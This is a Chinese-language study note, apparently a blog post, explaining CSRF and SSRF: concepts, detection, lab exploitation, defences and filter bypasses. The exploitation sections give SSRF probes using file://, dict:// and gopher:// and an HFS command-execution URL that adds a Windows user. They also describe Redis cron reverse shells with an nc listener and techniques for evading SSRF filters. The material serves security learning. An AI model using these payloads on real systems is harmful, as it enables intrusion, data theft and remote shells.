CSRF、SSRF
CSRF、SSRF
ccbCSRF
概念
CSRF是跨站请求伪造,不攻击网站服务器,而是冒充用户在站内的正常操作。利用了网站服务器只能检查发起请求的是不是用户的浏览器,而无法检查发起请求的是不是用户本意的这一漏洞。通常由于服务端没有对请求头做严格过滤引起的。
XSS利用的是站点内的信任用户,由信任用户执行了含有恶意前端脚本的页面产生,攻击对象是访问页面的用户。而CSRF则是通过搭建外部网站,受害者访问网站时被攻击者利用,通过盗取受害者身份,伪装来自受信任用户的请求来执行对受信任网站的攻击。
CSRF会造成密码重置,用户伪造等问题,可能引发严重后果。我们知道,绝大多数网站是通过cookie等方式辨识用户身份,再予以授权的。所以要伪造用户的正常操作,最好的方法是通过XSS或链接欺骗等途径(在XSS中嵌入CSRF的链接),让用户在本机(即拥有身份cookie的浏览器端)发起用户所不知道的请求。CSRF攻击会令用户在不知情的情况下攻击自己已经登录的系统。
可能出现该漏洞的地方:
存在添加、修改、删除操作的页面。
仅有查询的页面不会有该漏洞。
一般出现在中小型的网站,不属于严重漏洞。大型网站一般也比较安全,不会有这种漏洞。
分类
CSRF(get)
以pikachu靶场为例,在修改个人信息的页面点击提交。通过BP抓包可以看到所填写的个人信息是通过get方式提交的:
那么通过修改get请求中的信息,就可以构造含有自己信息的URL。然后写入自己网站中新建的html。当受害者 在登录状态下访问 这个html(外部网站)时就会执行该URL(请求伪造,将个人信息修改为了黑客伪造的内容),达到跨站请求伪造的目的。
或者也可以直接使用BP的CSRF功能,自动生成攻击用html。
复制出自动生成的攻击用html代码,修改其中个人信息的参数为自己的信息,然后另存为html
然后若受害者访问该html即可成功执行伪造的请求。
CSRF(post)
网站以post请求提交修改信息:
写攻击页面,其中提交的信息为post请求格式:
接下来同样诱使用户访问我们自己写的恶意代码的网址即可。当用户再次返回时可以看到值已被修改。
危害
篡改目标站点上的用户数据
盗取用户隐私数据
作为其他攻击的辅助攻击手法
传播 CSRF 蠕虫
挖掘
请求直接是个GET/POST请求,然后请求中没有token验证参数,然后还有一个固定的变量可以被控制。这种是比较常见的一种CSRF漏洞。这种漏洞的检测方法很简单:网页操作某功能,抓包后,如果发现满足上面条件,然后没有referer验证,再去页面测试下,基本就可以确定存在不存在CSRF漏洞了。
CSRF和XSS的区别
相同点:
XSS、CSRF、SSRF三种常见的Web服务端漏洞均是由于,服务器端对用户提供的可控数据过于信任或者过滤不严导致的。
不同点:
XSS是服务器对用户输入的数据没有进行足够的过滤,导致客户端浏览器在渲染服务器返回的html页面时,出现了预期值之外的脚本语句被执行。攻击发生在本站。
CSRF(跨站请求伪造)是服务器端没有对用户提交的数据进行随机值校验,且对http请求包内的refer字段校验不严,导致攻击者可以利用用户的Cookie信息伪造用户请求发送至服务器。攻击是跨站的。
SSRF(服务端请求伪造)是服务器对用户提供的可控URL过于信任,没有对攻击者提供的RUL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或其他服务器。
防御
强制用户输入密码
当用户发送重要的请求时需要输入原始密码。
设置随机Token(最有效)
服务器每次向客户端返回操作页面时都会给客户端产生一个随机的 Token 值,客户端在页面进行操作时需要携带该 Token,服务器如果检查发现用户携带的 Token 和它产生的不一样,就会判断为攻击行为,拒绝执行。
使用token比检查 Referer 要安全一些,token 可以在用户登陆后产生并放于 session 之中,然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对,但这种方法的难点在于如何把 token 以参数的形式加入请求。
在每次请求中加入了不同的token,等攻击者再利用这个token时,这个token已经过期,无法成功攻击。
缺点:
难以给所有的请求都使用token。在一个网站中,可以接受请求的地方非常多,要对于每一个请求都加上 token 是很麻烦的,并且很容易漏掉,通常使用的方法就是在每次页面加载时,使用 javascript 遍历整个 dom 树,对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的 html 代码,这种方法就没有作用,还需要程序员在编码时手动添加 token。
难以保证 token 本身的安全。特别是在一些论坛之类支持用户自己发表内容的网站,黑客可以在上面发布自己个人网站的地址。当用户访问黑客在论坛上发表的这个网站时,系统也会在这个地址后面加上论坛的 token,于是黑客就可以在自己的网站上得到这个 token,并马上就可以发动 CSRF 攻击。为了避免这一点,系统可以在添加 token 的时候增加一个判断,如果这个链接是链到自己本站的,就在后面添加 token,如果是通向外网则不加。不过,即使 csrftoken 不以参数的形式附加在请求之中,黑客的网站也同样可以通过 Referer 来得到这个 token 值以发动 CSRF 攻击。这也是一些用户喜欢手动关闭浏览器 Referer 功能的原因。
当然,攻击者可以实现用恶意脚本获取用户的token,然后拦截客户的请求再把 Token 值插入到客户的请求包中。但是这些操作已经超出CSRF攻击的范围。
检验referer来源
请求时判断请求链接是否为当前管理员正在使用的页面,要求 Referfer 必须是本服务器自己的主机名(同源检查)。比如:
1 | if(stripos($_SERVER['HTTP REFERER'], $_SERVER['SERVER NAME']) != false) { |
比如,管理员在编辑文章,黑客发来恶意的修改密码的链接,因为修改密码页面管理员之前并没有在操作,所以攻击者诱骗受害者点击提交的请求中Referer 一定是空值,因此攻击失败。
局限性:
首先,referer是可以通过抓包进行修改的。
再者,检查 Refer 信息并不能防范来自本域的攻击。在企业业务网站上,经常会有同域的论坛,邮件等形式的 Web 应用程序存在,来自这些地方的 CSRF 攻击所携带的就是本域的 Refer 域信息,因此不能被这种防御手段所阻止。
同样,某些直接发送 HTTP 请求的方式(指非浏览器,比如用后台代码等方法)可以伪造一些 Refer 信息,虽然直接进行头信息伪造的方式属于直接发送请求,很难跟随发送 cookie,但由于目前客户端手段层出不穷,flash,javascript 等大规模使用,从客户端进行 refer 的伪造,尤其是在客户端浏览器安装了越来越多的插件的情况下已经成为可能了。
设置验证码
限制请求只能为post
在HTTP 头中自定义属性并验证
不把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。
然而这种方法的局限性非常大。XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新,并非所有的请求都适合用这个类来发起,而且通过该类请求得到的页面不能被浏览器所记录下,从而进行前进,后退,刷新,收藏等操作,给用户带来不便。另外,对于没有进行 CSRF 防护的遗留系统来说,要采用这种方法来进行防护,要把所有请求都改为 XMLHttpRequest 请求,这样几乎是要重写整个网站,这代价无疑是不能接受的。
安全的会话管理(避免会话被利用)
- 不要在客户端端保存敏感信息(比如身份认证信息) ;
- 使页面关闭(退出)时会话过期;
- 设置会话过期机制,比如15分钟内无操作,则自动登录超时;
访问控制安全管理
- 敏感信息的修改时需要对身份进行二次认证,比如修改账号时,需要判断旧密码;
- 敏感信息的修改使用post ,而不是get ;
- 通过http头部中的referer来限制原页面
- 增加验证码:一般用在登录(防暴力破解), 也可以用在其他重要信息操作的表单中(需要考虑可用性)。
==SSRF==(更重要)
概念
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。攻击者向服务器上传恶意地址,服务器未对地址进行检查就直接访问,让目标服务器执行非本意的操作,造成了攻击。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。SSRF常被用于,探测攻击者无法访问到的网络区域,比如服务器所在的内网,或是受防火墙访问的主机。
产生原因
SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如没有限制可以构建恶意访问的敏感协议头或内网访问资源权限。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。
SSRF与CSRF的区别?
1.SSRF是服务端请求伪造,SSRF是诱导服务器访问,欺骗的是服务端(服务器)
2.CSRF是跨站请求伪造,CSRF是通过诱导用户点击,欺骗的是客户端(浏览器)
SSRF的挖掘
从web功能出发:
URL分享:通过URL地址分享网页内容
转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
在线翻译(有道翻译ssrf漏洞):通过URL地址翻译对应文本的内容
图片加载与下载(通过URL地址加载或下载图片):通过URL地址加载或下载图片,比如上传头像
图片、文章收藏功能
网站采集、网页抓取的地方
一切要你输入网址的地方和可以输入ip的地方。
从URL关键字中寻找:
share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain
SSRF的验证
SSRF漏洞特点:一般通过构造URL来判断该网站是否存在SSRF
白盒测试
寻找可能构成SSRF漏洞的危险函数:file_get_contents()、fsockopen()、curl_exec()。
黑盒测试
(1)右键图片,看图片(或者其他资源)的URL是否为该网站的路径。如果该图片是其他服务器的地址,则可能存在SSRF漏洞。
(2)burpsuite抓包,查看网站请求消息报文中是否存在URL,URL请求的是否为内网IP。然后也可以尝试将URL更换为可能的内网地址(通过历史漏洞判断该web应用可能的内网地址),或者暴力拆解内网地址。
(3)DNS外带(常用于测试没有回显的网站)DNSlog平台测试(查询DNS解析过程)
排除法:浏览器f12查看源代码看是否是在本地进行了请求
比如:该资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞
dnslog等工具进行测试,看是否被访问
可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。
抓包分析发送的请求是不是由服务器的发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址
从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
通过二级域名暴力猜解工具模糊猜测内网地址
直接返回的Banner、title、content等信息
留意bool型SSRF
漏洞利用(危害可大可小)
内网探测:可以对外网、内网、本地进行端口扫描,某些情况下端口的Banner会回显出来(比如3306的);
比如输入
http://192.168.64.144:3306
进行探测。攻击运行在内网或外网的有漏洞程序(比如溢出);
向内部任意主机的任意端口发送精心构造的payload,主要是使用 GET 参数就可以实现的攻击(如Struts2漏洞,SQL注入);
可以对内网Web应用进行指纹识别,原理是通过请求默认的文件得到特定的指纹(如readme文件);
窃取本地和内网敏感数据:使用
file://
协议读取本地文件(或其他协议)各个协议调用探针: http, file, dict, ftp, gopher等
漏洞攻击:端口扫描,指纹识别,漏洞利用,内网探针等
探测内网主机:
http://192.168.64.144/phpmyadmin/
**探测服务器文件
file:///
**:file:///c:/windows/win.ini
,在有回显的情况下,利用 file 协议可以读取任意内容探测内网服务(dict伪协议)web服务:
dict://192.168.64.144:3306/info
,会泄露安装软件版本信息,查看端口,操作内网redis服务等1
2
3
4
5
6dict://127.0.0.1:3360 (探测 MySQL 服务)
如果内网中的mysql数据库存在无密码的用户,可结合gopher协议进行攻击。
dict://127.0.0.1:22 (探测 SSH 服务)
dict://127.0.0.1:6379 (探测 redis 服务)
dict://127.0.0.1:1433 (探测 SQL server 服务)探测内网主机的ftp是否开启:
ftp://192.168.64.144:21
gopher伪协议 支持发出GET、POST请求,发送TCP数据,默认端口70
可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。
gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell。所有的WEB服务中间件都支持gopher协议,gopher可以发送任何的TCP数据包,常用于攻击redis服务(内存数据库——拿到该服务即是最高权限)。
gopher 的利用可以参考:http://t.zoukankan.com/beidaxmf-p-13935298.html、https://blog.csdn.net/qq_60115503/article/details/124407499。
1
2
3
4
5
6利用gopher发起请求的一般步骤:
1.构造HTTP的请求消息
2.对请求消息进行URL编码
3.对编码后的%0a替换成%0D%0a
4.将替换后的数据再进行一次URL编码(双重URL编码)
5.拼接协议头各个脚本语言所支持的协议:
作为下一步攻击的跳板
比如使用ssrf探测内网主机,探查到有一台主机开放了8080端口:
发现该主机搭载了HFS。搜索HFS相关漏洞,发现https://blog.csdn.net/qq_45884775/article/details/124065484,存在RCE命令执行漏洞。payload为`http://127.0.0.1:8080/?search==%00{.exec|cmd.exe /c [Command-String].}`。
所以可以实施攻击,比如
http://192.168.64.144:8080/?search==%00{.exec|cmd.exe /c net user test1234 1234 /add.}
添加用户。或者下载远程文件(下载木马),实施远控。绕过安全防御:比如防火墙、CDN
SSRF getshell
利用Redis未授权访问getshell
https://blog.csdn.net/weixin_39194641/article/details/102605354
https://blog.csdn.net/u012206617/article/details/108941738
利用redis写入定时反弹shell任务,用到了CRLF漏洞,url如下:
1 | 编码前: |
本机监听并发送payload如下:
netcat监听,得到了root权限的shell:
通过curl命令和gopher协议远程攻击内网redis
使用gopher协议可以用来发送各种格式的请求包。
gopher协议可配合linux下的curl命令伪造POST请求包发给内网主机。
此种方法能攻击成功的前提条件是:redis是以root权限运行的。
payload如下:
1 | curl -v 'http://xxx.xxx.xx.xx/xx.php?url= |
redis命令进行了两次url编码,这里是通过gopher协议伪造的请求包用curl命令来发送;
payload采用的是bash反弹,定时程序路径是/var/spool/cron/root
发送请求之前在公网机192.168.220.140开启nc监听端口2333
1 | nc -lvp 2333 (或nc -l 2333) |
使用dict协议向Redis数据库写shell
curl扩展也支持dict协议,可以配合curl命令发送请求,但也可以直接在浏览器上或者bp发包请求。
可通过以下三条命令看是否能利用dict:
1 | /xx.php?url=dict://172.21.0.2:6379/info |
命令如下:
1 | // 清除数据 |
在公网机上使用nc持续监听1234端口,等一会儿把包发完就会反弹shell。
SSRF漏洞相关函数和协议
file_get_contents()
file_get_content
函数从用户指定的url获取内容,然后指定一个文件名进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。支持php://input
协议。file_get_contents
的gopher协议不能URL编码。
1 |
|
比如,如下页面是通过file参数获得的URL链接请求得到的:
那么此处可以尝试将URL更换为恶意构造的URL,来达到SSRF攻击的目的。
比如访问服务器本地的readme文件:
甚至是通过本地文件传输协议file://
来访问服务器的指定文件:
利用ssrf测试3306端口:
fsockopen()
fsockopen
函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限。
1 |
|
curl_exec()
curl_exec
函数用于执行指定的CURL会话,默认不跟踪跳转。
1 |
|
SSRF常见种类
远程下载SSRF:可以直接操纵服务器远程下载其他服务器的资源,这种可以完全回显所有信息,危害最大。
布尔型SSRF:不会回显被攻击的内网信息,是提示true和false,这种对攻击者提供的信息较少,一般只能探测和盲打,利用率不高。
无回显SSRF:不回显任何信息的SSRF。只能通过dnslog判断ssrf是否存在,无法用来探测内网,只能配合其他信息泄露来盲打内网。单独存在没有危害。
SSRF漏洞(防御&绕过姿势)
常见防御方法:
- 设置协议头的白名单或黑名单,过滤除了HTTP和HTTPS之外的所有协议头
- 设置URL的白名单或黑名单(比如百度翻译:不允许访问DNSlog和bbc)
- 设置访问IP的白名单或黑名单,过滤访问的IP(看需求)
- 限制请求的端口为http的常用端口,比如:80、443、8080等
- 后台代码对请求来源进行验证
- 统一错误信息,避免用户根据错误信息来判断远程服务器的端口状态
绕过方法:
参考:https://www.t00ls.com/articles-41070.html
@
http://abc@127.0.0.1
实际上是以用户名abc连接到站点127.0.0.1。在对@解析域名中,不同的处理函数存在处理差异,如:对于
http://www.aaa.com@www.bbb.com@www.ccc.com
,PHP的parse_url
会识别为www.ccc.com
,而libcurl
则会识别为www.bbb.com
。利用[::]
可以利用
[::]
来绕过localhost。比如http://[::]:80/ >>> http://127.0.0.1
句号
127。0。0。1 >>> 127.0.0.1
添加端口号
比如:
http://127.0.0.1:8080
。
禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址。
绕过:
短网址绕过
站长工具短网址:http://tool.chinaz.com/tools/dwz.aspx
百度短网址:http://dwz.cn/
利用特殊域名
xip.io
原理是DNS解析。
xip.io
可以指向任意域名,即127.0.0.1.xip.io
,可解析为127.0.0.1
。IP限制绕过
十进制转换 八进制转换 十六进制转换 不同进制组合转换
127.0.0.1 八进制:0177.0.0.1 十六进制:0x7f.0.0.1 十进制:2130706433
协议限制绕过
禁用不需要的协议(如:
file:///
、gopher://
,dict://
等)。仅仅允许http和https请求。当url协议限定只为http(s)时,可以利用follow redirect 特性构造302跳转服务,使用
https://tinyurl.com
生成302跳转地址,再结合dict://
file://
gopher://
构造攻击。DNS重绑定可以利用于ssrf绕过 ,bypass 同源策略等,,,这里介绍三种方法
- 特定域名实现TTL=0
- 域名绑定两条A记录
- 自建DNS服务器